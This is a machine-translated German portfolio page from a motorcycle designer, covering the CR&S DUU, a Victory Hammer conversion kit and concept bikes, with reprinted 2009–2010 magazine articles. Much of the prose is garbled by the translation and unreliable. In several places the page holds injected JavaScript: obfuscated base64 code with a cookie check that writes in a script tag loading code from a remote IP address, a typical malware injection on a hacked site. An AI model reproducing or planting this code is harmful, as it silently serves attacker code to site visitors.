Im Motorraddesign ist Handarbeit im Wesentlichen eine Tonmodellierung und der Detaillierungsgrad ist hoch, Es erfordert jedoch Zeit und wirtschaftliche Ressourcen für den Reverse Engineering-Prozess, der erforderlich ist, um alles in digitale Form umzuwandeln.
Ich bevorzuge die Verwendung digitaler Mittel, die uns zur Verfügung stehen, Vermeidung der analogen Passage, um den kreativen Prozess zu vereinfachen und zu beschleunigen.

CR&S DUU “SmallSheep”

Ein Vorschlag für ein Licht Restyling für CR&S DUU

Wir haben versucht, den Stil der klassischen Formen anpassen, mit einer runden Scheinwerfer vorderen und der Entfernung von einigen Kunststoffen und neu gestaltet cooperture.

Eine sehr konservative Intervention ermöglichen es sowohl als Upgrade oder als Aftermarket-Upgrades zu bedienen.

Victory Hammer “Dnt”

DNT_logo_web Die Victory Hammer DNT wurde entwickelt, um DNT Racing,

E’ ein Motorrad Schaufenster, das, was Sie steht mit einem Victory Hammer ohne strukturelle Änderung oder Homologation tun können.

Alle Teile auf dem Fahrrad in Frage wurden ad hoc entwickelt und können ohne Änderungen am Motorrad montiert werden.
Von diesem Fahrrad wird es in einem sehr kurzen Umbausatz für den Verkauf über das Handelsnetz regelmäßig gemacht werden DNT Racing.

es Kit, montierbar auf jeder Victory Hammer Familie, Sie können ohne Modifikation montieren, und Beibehaltung der Genehmigungsverhalten des Fahrrads, Es wird daher von verschiedenen Teilen zusammengesetzt sein, so dass der Anwender seine Victory vom Traktor an den Schwanz customizzarsi, durch technische Details wie Speichenräder mit Kanal 10″ Flächen Hinterreifen 300 mm aufzunehmen.

Das Fahrrad wurde anschließend weiter modifiziert, um den industriellen Bauprozess zu machen und “kosteneffizient”, dann hat der Schwanz mit einem Stil realisiert “klassisch”.

H5 – BULINATURA E cesello

GEGEBEN Das Unternehmen ist stark orientiert an der digitalen Welt, Computer-Aided Design und modernste und innovative Technologien. Zugleich aber haben wir eine starke Berufung für Gestaltung auch als "Stil" rein "Ästhetik" Artikel.
So sind unsere Interessen nicht auf die Gestaltung beschränkt und den festen Teilen, sondern auch auf deren Oberfläche.
Und ‚warum wir uns um eine Reihe von manuellen Ausführungen genommen haben kann, "dekorieren" das äußere Erscheinungsbild unserer Teile.
Die Stanzmarkierung fällt voll auf in diesem Sinne, da es ermöglicht ein weiteres stilistisches Detail in Fertigteilen zu geben, während, wie angenommen wird,, so dass sie poliert werden, gebürstet oder lackiert.
Um diese schöne Technik zu verpflichten (oder besser "Kunst"), wir mit Geduld, Schweiß und Tools erstellt speziell.

RIDERS 08 2009

In einem Mailänderen zunehmend cont el coeur im Menschen, zum Glück gibt es noch jemand, die Motorräder mit dem Herzen und Händen baut.
einzeln, mit großer Sorgfalt und Leidenschaft. Die Dynamik Geschichten und so viele Männer, die sie gesagt haben,, aber dies ist die Geschichte einer Idee.
Eine einfache Geschichte, aber besondere in seinem kleinen.
Wenn zwei Räder bewegen die Seele, der Mut, von einem paar Freunden gelungen, eine Motorradmarke in Mailand zu bringen. Ein langer Schatten der Madonna in Betrieb waren Marken wie Bianchi, Miller-Balsamo, iso Moto, Parilla, Guazzoni, Innocenti. Und Paton Peppino Pattoni, der letzte GP in privaten Konstruktor gegen die japanischen Riesen zu kämpfen, mit den vier Zylindern grünen.

heute, die Stadt der Mode, Motorrad auf dem Umfang zu schneiden ist CR&S. Blick von außen, Hauptsitz ist ein kleiner Schuppen wie so viele andere im Industriegebiet von Settimo Milanese. Mit einer Ausnahme, Motorräder außen aufgereiht: gleich aussehen, aber sie sind nicht identisch. Sie sind ein wenig Einzylinder’ CAFE RACER, einige’ nackt im Taschenformat. Sie sind Vun genannt. sie Idea. Die Leute, die durchgeführten Arbeiten unter einem Dach, als Teile des gleichen Motorrad. Das Geschäft ist im Erdgeschoss, die Wände sind durch Plakate des Bol d'Or verputzt, Tourist Trophy und Assen. Das Design und die Papiere Abteilung ist auf die offene Mezzanine (eher, Spasi Avert), durch die gewundenen Verkleidung Superbike Britten V dominiert 1000. Roberto Crepaldi sitzt direkt vor. Er war es, das Cafe Racers gegründet & Superbikes in 1992, nach dem Verlassen man die Zahl geöffnet mit Carlo Talamo und Max Brun. Im folgenden Jahr traf er John Britten, der geniale Ingenieur Zealander berühmt für seine V 1000. Er schnell zu bei der Verfolgung einer Idee. lassen Britten, in Europa durch CR unterstützt&S, es zeigt in Wettbewerben auf der ganzen Welt, bis zum Verschwinden des gleichen Britten. Mit Hilfe der Erfahrung der Unternehmer in der Kfz-Versicherung (Es war ein Händler von Ferrari, Jaguar e Aston Martin), Crepaldi nimmt sein Stichwort vom letzten Johns Projekt eines Einzylinder-Rennen, Einsitzer, mit dem Gewicht und das Leistungsverhältnis gleich eins. ein. von, in Milanese Dialekt… John Cabassi und Giorgio Sarti sind Freunde, Unternehmer, Kostenlose Fahrräder Denker 2002 Sie haben flankiert Crepaldi in CR&S. Zwei Jahre nach Roberto Pattoni, Sohn Peppino und Inhaber von Paton, werden Partner des CR&S als Techniker verantwortlich für die Entwicklung. Der Motor Wahl ist die Rotax Bombardier 650, geschätzt auf dem BMW F dank seiner straßenorientierte und Zuverlässigkeit . Gedacht als ein Renn mono, Die Vun beweist ein Tier zu gemischten schließen, auch hervorragend für den Einsatz in der Stadt . Das Design kombiniert die klassischen Linien der Rahmenrohre zu modernen Aluminiumkörper, glatte Linien und technologische Lösungen. Jedes Element ist anpassbar, perchéil Fahrer kann das Vergnügen erleben bei der Wahl Vun ihre eigenen Komponenten bauen und Malerei. Am Ende 2006 beginnt die Produktion der Serie, in ein paar Dutzend Einheiten pro Jahr, von Rennprototypen flankiert. Vor kurzem sind die beiden Versionen EvoluziÀ²n von Mono hinzugefügt 652 cc. Die prunta für die schnelle Entwicklung 68 Lebenslauf, während Nurma der Gehalt an 54 cv a 7.000 Runde. Wie schlecht, nur unter Berücksichtigung, dass das Trockengewicht ist, 135 Chili… Die Vun spricht Meneghino auch im Datenblatt, in dem die schwimmende Scheibe Bremsscheibe wird balerÀ¬n und Kette mit O-Ring Cadena glauben die Anei de goma…
Die große Herausforderung der CR&S scheint zu gewinnen, Verteilung erweitert in Europa und den USA, aber die Ideen nicht stoppen Spinnen. Das macht das unvermeidliche Ergebnis der Vun, mit zwei Zylindern außerhalb der Box und aus der Logik der großen Zahlen, Es war bereits der Leiter des Mailänderen Bauers in 2008. so lange ©, Er sagt Crepaldi, der Motor Bike Expo kommt die Offenbarung des Jahres: Â „Wir stehen WMO, Meccanotecnica der Mailänder Werkstatt, die die Wakan importiert, zusammen mit dem von Confederate, direkt gegenüber dem Zodiac mit dem neuen Zweizylinder-S X-Wedge steht&S. dann Wakan, X-Wedge, Eidgenosse, von… Leitungen!EIN".
Die Geschichte enthält eine konzeptionelle Figur für Sela, stilistischen und ästhetischen des neuen Zweizylinder-CR&S. im Grunde: eine Maxi beispiellos streetfighter, weniger elitär Confederate, Rest wie Wakan und konstruiert
Aufbauend auf Erfahrungen Vun. Das Herzstück des Projektes ist der Motor X-Wedge, dass die grundlegende Anforderung, dass sie eine Nachahmung der Twin Cam Harley-Davidson sein. Die 56A bis V2 ° S&S ist ebenso massiv, aber mehr
moderne und leistungsstarke, mit seinem 2.000 cc, die drei Nockenwellen, die elektronische Einspritzung. À Lage 160
Nm Drehmoment über nur 3.000 Runde. Sachen Roll, obwohl genehmigt Euro 3. Und wenn man bedenkt, dass die DUU â € € wiegen œsoloâ sollte ?? 250 Chili, wie ein Harley Sport 883…
Beachten Sie, wie die Zahlen wiederholen: zwei Zylinder, zwei Liter, zwei Sitze (wollen). Und das große Rohr, das den Rahmen mit einem gemischten Struktur charakterisiert Stahl. Die ersten Skizzen sind durch Aufbauten verborgen optional, aber es ist klar, dass die Schönheit DUU glänzt in seiner brutalen Einfachheit. Nackt und roh, entworfen Kopf geführt zu werden und ohne zu viel Aufwand, aber es entworfen, an der Mündung des Magens zu schlagen. mehr
einmal Form, Funktion und Emotion jagen einander in einem Spiel der Balance. La kommen aus, DUU ist auch eine Geschichte der Lust an erwachsene Motorradfahrer bestimmt, entwickelt und anspruchsvoll. Das vielleicht wollen sie zurück in der Liebe mit einem spannenden Motorrad fallen. Er sagte, der Philosoph Gilles Deleuze, dass Â „Es gibt keine Investitionen Revolution libidinaleÂ“. und ohne, selbst bauen sie einzigartige Fahrräder, mit der Unterstützung von einem Niveau von Kreativität, dass die großen Häuser nicht mehr leisten können,, durch Vorsicht und die Marketing-Logik erstickt. À eine faszinierende Wette, gespielt werden, aber in Reichweite. Obwohl es immer noch auf der Ebene
Prototyp, Es wird erwartet, dass der Preis zwischen DUU schwanken sollte 19 und 20 Tausend Euro.
Wenig mehr als eine Ducati Street S, im Einklang mit dem V-Rod Muscle, weniger als ein V-Max
und gab eine Harley-Davidson CVO.
Präsentation dieses EICMA Prototyp des Jahres, das ultimative Motorrad auf der Mailänder Messe zu sehen 2010. Die Produktion aus der nächsten Saison: Â „Wir sind nicht auf der Suche nach großen Zahlen, Wir sind ein kleines Unternehmen mit Ideen
chiareÂ »schließt Crepaldi. Â „Das Ziel von hundert Motorrädern pro Jahr erreichen würde Break-even-Punkt und einer Gewinnmarge ermöglichen, werden reinvestiert CR in der Entwicklung der nächsten Motorrad&SA '. übersetzt
frei in Mailand: Gh'è minga de DUU ohne Tri.

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S3 – LOGISTICA E.I.C.M.A.

Dank unserer Nähe zur Internationalen Messe der Motorradmesse EICMA in Mailand, wir können einen kompletten Logistik-Service und das Management der Ausstellungsfläche auf der Messe in- und ausländische Unternehmen bieten.
Wir können Ihre Fahrräder erhalten, sdoganarle, Entfernen aus der Verpackung, Refit, sofern erforderlich, Änderungen oder Finish zu gewährleisten, dass sie in der bestmöglichen erscheinen, und natürlich ändern oder sogar ein Konzept in Rekordzeit vorbereiten.
Auch alle zu und von der Messe würde sich bewegen, um unsere Gesamt Pflege, Sie müssen nur die Einstellungen entwerfen, wir, dass wir auch mit allen bürokratischen und organisatorischen Verfahren gegen die Messe beschäftigen.

CR&S-Spezialist

CR & S-Spezialist

Wir sind sehr erfahren schöne Bewegung CR&S, berühmte Mailändere Marke zu Beginn des Jahrhunderts von drei großen Motorrad-Enthusiasten gegründet, Cabassi, Crepaldi und Schneider.
Die Herstellung der CR&S ist seit jeher für die Verfeinerung ihrer Leistungen und die Exklusivität seiner Produkte ausgezeichnet, insbesondere Motorräder hergestellt sind CR&S (präsentiert in 2006) und CR&S DUU (präsentiert in 2009). Unsere langjährige Erfahrung auf diesem Bikes kommt von der Tatsache, dass unsere Donato Cannatello für dieses Unternehmen verantwortlich für das Design war für viele Jahre, einen Beitrag zur Stil und das Engineering von duu und auf die Herstellung und Anpassung von diesem und dem vorherigen VUN.

Derzeit versuchen wir, alle Kunden zu befriedigen CR&S folgen sie mit ihren verrückten Ideen der Anpassung, sondern auch mechanische Unterstützung für ihr Spielzeug.

CR&S documents available:

CR&S parts:

MAX 03 2010

Wunder in Mailand

Es heißt CR&S und das Hinterland ist ein kleines Unternehmen mit einer großen Leidenschaft.
Sein Motorrad “muss etwas Besonderes sein”, Sie werden von Hand gebaut und jeder von ihnen unterscheidet sich von der anderen. Hier ist sein neuestes Juwel: nackt, Brauch, Roadster? etwas’ alle.

Ein anonymer Schuppen etwas außerhalb der ländlichen Stadt . Es ist ein Satz, “tätowiert” auf jedem der Fahrräder, die da rauskommen “Sie sagen, in Mailand, cont das Herz und cont'i Mann”. Übersetzt in die italienische Mittel “in Mailand gemacht, mit dem Herzen und Händen”, das Wesen und die Philosophie von CR&S, ein kleines Unternehmen von Roberto Crepaldi viszeraler Leidenschaft für zwei Räder gegründet. Crepaldi hat klare Vorstellungen: jede Bewegung gemacht von CR&S muss von den anderen etwas Besonderes und anders sein. Als seine neueste Kreation. bringen Sie die (“fällig”) wie der Name schon sagt ist es die zweite Bewegung der kurzen Geschichte der CR&S, Es hat einen riesigen und explosiven Motor mit zwei Zylindern 1.916 cc und entkommt die traditionellen Definitionen. Nackt, Roadster, Brauch, Straßenkämpfer? etwas’ all diese Dinge zusammen, Aber das Duu ist zuallererst ein exklusives Kunstwerk aus Edelmetallen und raffinierten Materialien, die nach Formen geformt sind, die originell und faszinierend definieren, ist fast eine Untertreibung. Darüber hinaus kann jeder Kunde seinen Charakter anpassen, indem Bau Auswahl, Komponenten des Chassis und der Motor Zubereitung. Die Preise beginnen bei 20.000 Euro, Aber neben dem Geld werden Sie Geduld haben müssen, weil der CR&S werden von Hand ausgebildet ist, eine nach der anderen.

Stefano Bariggia

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AMD USA 01 2010

CR&S Motorräder verwendet, um die ‚EICMA’ Motorrad-Show in Mailand, Italien, sein neuestes Prototyp-Modell zu debütieren – das X-Wedge angetrieben Duu.
Zunächst wird als ein Konzept Fahrrad gezeigt, wenn die Duu, entworfen von Donato Cannatello, geht in die volle Produktion, jedes Fahrrad wird mit dem Kunden von Hand gebaut, um die Wahl einer Reihe von technischen und ästhetischen Möglichkeiten, die. Die zur Verfügung stehenden Optionen werden einen einzelnen und / oder Zweisitzer Basismodul enthalten. “Wir glauben, dass dieser Euro Sportcruiser das Potenzial hat, eine Art amerikanischer Äquivalent zum Triumph Speed Triple zu sein, aber mit italienischen Stil,” sagte Roberto Crepaldi, der Geschäftsführer der CR&S. “Duu ist der richtige Name für dieses Modell – Es ist ein V-Twin, das zweite Element des CR&S-Familie, es wird ein Zweiliter-Motor haben, wiegen 200 Kilo, und tragen zwei Personen. Was sonst könnten wir es cali?! “Die Produktion wird Anfang 2011 beginnen. Wir haben bereits begonnen, das Entwicklungsrad auf der Straße zu testen, Wir sind jedoch sehr darauf bedacht, Feedback von der Öffentlichkeit zu erhalten.”

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Internationale Händler News 01 2010

Roberto Crepaldi neuestes Projekt, die Duu, ein luftgekühltes großes Doppel ist um S gebaut&S Cycle American-made 1916cc / 117ci 60 Grad-V-Twin-Motor.

Dargestellt als Concept-Bike auf der EICMA, Crepaldi sagt der Duu wird ein modular aufgebautes Fahrrad sein, Kundenkonfigurationsoptionen, die er zu einem Basispreis von € zu verkaufen hofft, 20.000, mit einem Produktionsvolumen von ein paar Dutzend Einheiten pro Jahr, und erste Lieferungen für 2011…

ukidn012010 Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}

Low-Fahrt 11 2009

die 2011 Es scheint fast, hier.

Eine Welle der Moderne macht das kleine große Haus in Settimo Milanese fliegt. CR&S ist bereits durch die Originalität ihrer Street aus gemischten schließen und die Einzigartigkeit jedes Stück unterschieden.

Die logische Weiterentwicklung des Mono, Wesentliche und Spaß, Dies wird twin. es scheint, “Solo” ein Concept-Bike, aber ein Gabelstapler DUU gelegt hat bereits mehrere Kilometer; Die Tests bestätigen ungewöhnliche technische Entscheidungen. Der Doppel X-Wedge ist sein schlagendes Herz, un V-Twin “Luft” fast zwei Liter, die die Suche S verbessert&S gegenüber den klassischen Schemata von Harley-Davidson. Der Winkel der Zylinder von 56 Studiengang hebt die Schwingungen; Verteilung mit drei Nockenwellen im Kurbelgehäuse und Zahnriemen sorgt für eine optimale Geometrie, über kurze Stäbe und hydraulischen Stößeln. Enthalten ist der mechanische Geräusch, Euro-Homologation möglich machen 3 mit Einspritzung und Katalysatoren. Der Edelstahl-Auspuff wird von QD Exhaust untersucht, die Massen zu zentralisieren und ermöglichen, seitliche Neigungen größer als 40 Grad. Das Potenzial dieser sehr großen Doppel ist bemerkenswert, auch in der Konfiguration “Code”: zumindest 100 Pferde und 130 Newton / Meter Drehmoment, aber die Auszahlung ist bei jedem Regime voll. Ändern Sie trennen 5 die 6 Beziehungen und Primärkette einen Antriebsstrang in einem ursprünglichen Rahmen eingefügt vervollständigen. Ein großer Teil des Stahlrohrs aus dem Lenkkopf und enthält das Schmiermittel; Es wird argumentiert, schöner Seitenplatten, im Rizoma-Atelier aus massivem Material gefertigt, an die sie mittels einer Querrohrabschnitt verankert; die Einarmschwinge. Alle Vorschläge CR&S sind mit dem Ziel geboren, Fahrspaß und das Duu-Chassis zu garantieren, a Made in Italy Destillat der Sportgewinnung, werden Sie nicht enttäuschen . Die Details sind schön, mit den Lenkplatten ausgehend von rizoma und aus den modularen Rädern aus; Brembo Bremsen und Qualitäts Suspensionen ermöglichen reichliche Anpassungs. Genauigkeit und Reaktions Agilität versprechen Pilot , extreme Falten und Handhabung, ohne in das entgegengesetzte Extrem von zu vielen Chancen zu fallen “Nerv”. Mit Abmessungen nahe denen einen XR1200 und ein Gewicht von etwa 237 kg Trocken, Dank der unendlichen Erweiterung des Motors soll es Spaß machen, einfach und entnervt. Diese Eigenschaften sind eine modulare Philosophie hinzugefügt, um das Motorrad nach unterschiedlichen Fahrstilen und Leben zu konfigurieren, Bauteilqualität, Handwerk mit industriellen Garantien: einfach, um diese streetfighter unmittelbares Interesse voraussehen. Viele der Komponenten CR&S sind speziell von Donato Cannatello von italienischen Unternehmen wie Rhizome entworfen. Ursprünglichkeit und Armaturen “maßgeschneiderte” sollte ein zusätzliches Plus für DUU vertreten. Auch der Festpreis verspricht interessant zu werden, zirka 20.000 Euro: in der Nähe der VRSCs und niedriger als beim neuen V-Max… Wie lange vor dem 2011?

Laden Sie das PDF herunter… Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}

NAC

NAC ist ein Konzept Motorrad für einen asiatischen Hersteller entwickelt, die eine Studie über Stil ihre bereits vorhandenen mechanischen Basis in Auftrag gegeben hat.
Die Basis ist ein Zweizylinder-650cc von frontemarcia, ein Licht dennoch leistungsfähiges Motorrad, Inspiration Kawaski ER6.
Davon nimmt die Schwinge mit Stoßdämpfer in einer seitlichen Position versetzt, die Motorgeometrie und Rad- und ergonomische Dimensionen.

Die Anforderung war, ein Konzept zu entwickeln, indem sie starke Anziehungskraft rassig, aber modern zugleich gekennzeichnet, mit alles mit dem besonderen optischen und viel Aufmerksamkeit auf Beleuchtungssysteme im Allgemeinen, Bevorzugung wo möglich LED-Technologie.

Wir haben eine leichte Straße schön, ausgestattet mit mit guter Abdeckung des Pilotverkleidung, aber gibt Schwerpunkt auf Vergnügen zu einem nackten Lenkern in jedem Tag dank der Fahrt, die eine komfortable Fahrposition erlaubt, entspannt und bereit.

Die Entladung unter dem Sattel, der singuläre Sattel sehr schlanke Linien ein Bild von einem Motorrad durch den starken eindrucksvollen Geschmack vervollständigen, sondern durch die einfache Bedienbarkeit und Zugänglichkeit.

+++ Elec

+++ Elec ist ein Elektro-Motorrad mit einem starken sportlichen Charakter.
Entworfen mit dem sechshundert quattrocilindri zu konkurrieren, Er bezieht sich auf ihren Stil und ihre Formen während stark durch seine elektrische Motorisierungs gekennzeichnet ist,.

E’ noch ein Projekt, für das im Moment nicht möglich weitere Informationen geben.

: ELEC Elektro-Konzeptentwurf Moto

: ELEC Elektro-Konzeptentwurf Moto

: ELEC Elektro-Konzeptentwurf Moto

: ELEC Elektro-Konzeptentwurf Moto

Motorrad-Design Association | 2012 Milan Nacht

Die historische Marke Moto Guzzi, Zugehörigkeit zu der Gruppe Piaggio, Er erhielt den Motorrad-Entwurf Association Award, ein Beweis für die Qualität des direkten Stil Zentrums von Miguel Galluzzi.

Die Preisverleihung, Es hielt mercoledì¬ Morgen im Skorpion Raum im Konferenzzentrum EICMA, Es machte über den italienischen Stil und die Qualität und Professionalität des Piaggio-Design-Centers. Es war der Präsident der Motorrad-Design Association in Person, Glynn Kerr, zu liefern, in die Hände Dario Lopez, im Namen der ‚grafischen Bereich der Piaggio-Gruppe, die begehrte Auszeichnung, die jährlich Anerkennung der Designwelt zum besten Motorrad Produkt in Bezug auf Innovation und Stil gibt. Anwesend bei der Zeremonie war Donato Cannatello, Designer und Mitglied der internationalen.

Für die Ausgabe 2009 die Auszeichnungen, die Organisation Design (Prahlerei 165 Mitglieder auf vier Kontinenten) Es wird beschlossen, den Preis nicht für ein einziges Modell zu gewähren, aber drei Zugehörigkeit zu der gleichen Marke, in diesem Fall Guzzi. Die Auszeichnung wird geht daher auf den V12 Strada, der V12 und V12 X LM.

100_1751 Motorrad-Design Association kurze Beschreibung

"Motorrad-Design ist ein einzigartiger und hochspezialisierten Bereich, doch gibt es bisher keinen zentralen Körper, die Ursache darzustellen, eine Unterlassung, die gleichermaßen sowohl von Designern und Herstellern zum Nachteil gewesen.

Als Ergebnis, die Motorrad-Design Association wurde geschaffen, in 2001 durch Co-Gründer Glynn Kerr und Francois-Marie Dumas. Die Ziele des Vereins sind Motorrad-Designer aus aller Welt zusammen zu bringen, ihre Aktivitäten zu fördern und die Kommunikation zwischen Designern und potenziellen Kunden zu erleichtern. Wir sind auch wirksam bei der Förderung von Schülerarbeiten, und helfen, schaffen Verbindungen zwischen den Hochschulen und der Motorradindustrie.

Der Verband verfügt nun über eine Mitgliedschaft von über 150 Mitglieder, einschließlich freier Designer, Ingenieure, Modellbauer und Design-Studios auf der ganzen Welt."

Einige Abdeckungen gewidmet DUU

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RIDERS

TRÄGT, ABER NICHT VON SPADES

Zum Verkauf in einem Jahr zum Grundpreis von 20.000 Euro, DUU sehen die letzte Mailand zeigen als Konzept (und wir haben eine Vorschau auf Nummer Riders beschrieben 22) Es ist eines der wenigen wirklich ursprünglichen Vorschläge der letzten Zeit.
Der Milan CR&S, das es hervorgebracht hat, ist dasselbe wie der sehr leichte Einzylinder-Vun: Roberto Crepaldi, Giorgio Sarti und John Cabassi, Alle drei Fahrer vor Unternehmern, Sie haben sich auf einer unerforschten Nische konzentriert, aber interessant. Die Duu ist ein spezieller in Kleinserie produziert, modulare und hoch anpassbare, mit exklusiven Inhalten des amerikanischen und europäischen Stils von Confederate Wakan Französisch, aber zu einem Bruchteil der Kosten angeboten. Leitungen, zwei Dialekt Meneghino, weil die Zylinder zwei und die Verdrängung (1.916 diese) Es ist neben zwei Liter, und warum, wollen, die PUE Fahrrad in zwei Orten gleichzeitig sein und nicht als Einsitzer Vun. Dieser Maxi Streetfighter ist mit dem V2 von 56 ° X-Wedge des American S ausgestattet&S, ein starkes Monster mit seinem 16 kgm Drehmoment maximal nur drei Tausend Umdrehungen. Der Rahmen besteht aus poliertem Edelstahl: ein großer Träger, die Benzinbehälter fungiert auch als, mit Aluminium-Seitenplatten des hinteren Schwingarms zu halten, (immer ein großes gekrümmtes Stahlrohr) und der Benzintank, der auch den Sattel hält.
Das Design ist unterzeichnet von Donato Cannatello, die gearbeitet für Aprilia Bimota, welches es Entladen unter dem Motor positioniert, Es versteckt alle Aufbauten und erstellt eine leicht bearbeitbare minimalistische Linie durch Hinzufügen, oder Entfernen, eine Reihe von Zubehör (einschließlich panniers oder einem Behälter über dem Behälter) funktionale und ästhetische Anhänge. Der Sattel kann in einer oder zwei Stellen sein, und es sind verschiedene Lösungen für Scheinwerfer und Oberflächen. Trotz des großen Motors, das Fahrrad ist ganz in seiner Art kompakt und wiegt so viel wie ein Harley Sport 883, weil DUU wird nicht nur protzig angetrieben werden. Ein ehrgeiziges Projekt, nicht ohne Widerstände überwunden werden, wie seine Erfahrung und den Ruf der CR&S. Aber es muss gesagt werden, dass diese Realität organisiert, klein, wie eine echte Motorradindustrie. (Maurizio Gissi)

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zwei Räder

Big Twin a Milano!

Nach dem Doppel mono: von einem kleinen Handwerker hat diesen ausgelassene Zweiliter einzigartigen Stil
Riccardo Capacchione

…Sie sagen, in Mailand, es cont cont i heart th Mann ' ". Wir übersetzen für Nicht-Milanese: „Made in Mailand, mit dem Herzen und Händen ", E’ der Satz auf Motorrädern von CR gebaut geschrieben&S Settimo Milanese. das einzige Modell war der Vun im Katalog bis heute, Die schlanke Single, die jetzt eine Schwester hat, durchaus nicht rationalisiert, Er rief DUU. In Milanese Dialekt bedeutet Vun „Eins“ als ein Zylinder, ein Ort, und „einzigartig“. Leitungen, wie Sie sehen werden, stattdessen will „zwei“, wie zwei Zylinder sagen, zwei Plätze und… nur, sie. Die Kunden der CR&S, tatsächlich, Sie können Ihr Fahrrad bestellen, indem Sie die Einstellung der Wahl, Fahrwerkskomponenten, die Vorbereitung des Motors und natürlich die Einfärbungen. Aus diesem Grund ändert sich der Preis viel, ausgehend von der Basis von 20.000 Euro. Die Design-Philosophie hinter den CR-Modelle&S ist einfach zu artikulieren, weniger zu erreichen: das Fahrrad muss wesentlich sein, der gesamte Motor und Fahrwerk auf Sicht, aber es muss auch ein Stil sein, vielmehr zwei: dass der Hersteller und dem Kunden, dass, wie erwähnt, Er beteiligt sich aktiv an der Schaffung von Amts wegen. SE Mangroven E’ trägt? Gia ', Was ist Duu? Es ist ein leistungsstarker Zweizylinder, den die normalen Definitionen entkommt: Gewohnheit nackt, Roadster, Straßenkämpfer? Schwierig, ein bestimmtes Genre zuzuschreiben. am besten, einfach, beschreiben die technischen Merkmale, wirklich einzigartig. Das Chassis ist aus CR konstruiert&S und ist aus einem oberen rohrförmigen giant legiertem Stahl zusammengesetzt, erinnert an das Schema von der Schweizer Spezialist Fritz Er benutzte; wer hat einige’ die Federn hinter Rückruf , unter anderem, Er trägt den wunderbaren Vincent 1967. Das große Hauptrahmenrohr Duu auch die Funktion des Kraftstofftanks, Ein Beispiel für die Strategie des CR-Projekt&S, die dazu neigt, die maximale Integration und Vereinfachung der einzelnen Komponenten. Im hinteren Teil ist die Struktur von Splendid Leichtmetallplatten verschlossen, das Messer von einem „vollen“ geschmiedeten erhalten. Die hinteren Schwingarm Gitter aus Stahlrohren sind an der Seite des Stoßdämpfers verbunden sind. die Räder, andere exklusive CR&S, Sie sind großartig und insbesondere der hintere, Kragarm montiert mit einer einzigen Zentralmutter und in verschiedenen Ausführungen der Rassen. Die Glasfaser-Aufbauten sind wenige und wesentlich; wirklich ungewöhnliche Lösung für die Frontscheinwerfer… nicht c'è, durch zwei seitliche optische Baugruppen in dem „Haifisch Kiemen“ an den Seiten der Gabel untergebracht ersetzt, erinnert an die Stilmerkmale von Vun. Die Autos können DUU sein, wie die, die wir getestet, aber es ist die Konstruktion zu zwei erwartet und dass Reisen, mit Taschen und Sonderzubehör. MAMMA UND POMPON! Der Motor S&S X-Wedge domina la scena. Die beiden Türme colossal aiettate der Zylinder unterscheiden sich voneinander von 56,25 ° und dem Gehäuse innerhalb der Kolben aus 105 -Long-mm mit Bohrung und Hub von 111 Millimeter. Das Schema wiederholt sich, dass von Harley-Davidson-Triebwerke, für das die S&S produziert immer Sonderteile, aber in diesem Fall ist der Antrieb ein völlig neue. Die Köpfe aufnehmen zwei große Ventile (50,8 mm Saug, 40,64 mm am Auspuff), parallel zueinander und von Kipphebeln und Stangen bewegt wird, die auf den drei Nockenwellen ruhen, zwei Auslassventilen und ein gemeinsam Saug, im Kurbelgehäuse befindet. die Änderung, getrennt, Baker ist ein Fünf-Gang. Die Macht und die elektronische Einspritzung, während die Entladungs katalysierten, auf spezifische CR gebaut&S, Es ist unter dem Motor, mit zwei fantastischen ‚Kanonen‘ Seite. Der primäre Kettenantrieb wieder aufnimmt, das Schema Harley und ist auf der linken Seite. PAARE RIMORCHIATORE Wir bestanden viele der Prototyp testen, noch abgeschlossen werden, die DUU, ma ne ist Waltz la Pena. die Doppel, ohne Gegenwellen, Puls, während der, aber darüber schiebt eine beeindruckende Kraft. Die Hinterreifen unter der Ableitung von kgm stöhnend, die DUU Sprünge nach vorn und der Pilot ist gut, die fest am Lenker festhalten. Eine deutliche Steigerung des Sattels würde dazu beitragen, einen Teil des Schubs zum Download, Verringerung der Belastung auf die Arme. Das Gesamtgewicht nicht zu hoch ist, in Bezug auf die Verschiebung, und es ist gut verteilt, wodurch es besser handhabbar DUU als wir erwarten. Die wenige Kilometer im Sattel sie nur eine vage Vorstellung von der Leistung dieses Fahrrades gegeben wurden, die vor ihnen liegen spannende, Wir freuen uns für eine gute Squeeze,.. "Bleib dran", wir halten Sie auf dem Laufenden! Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; 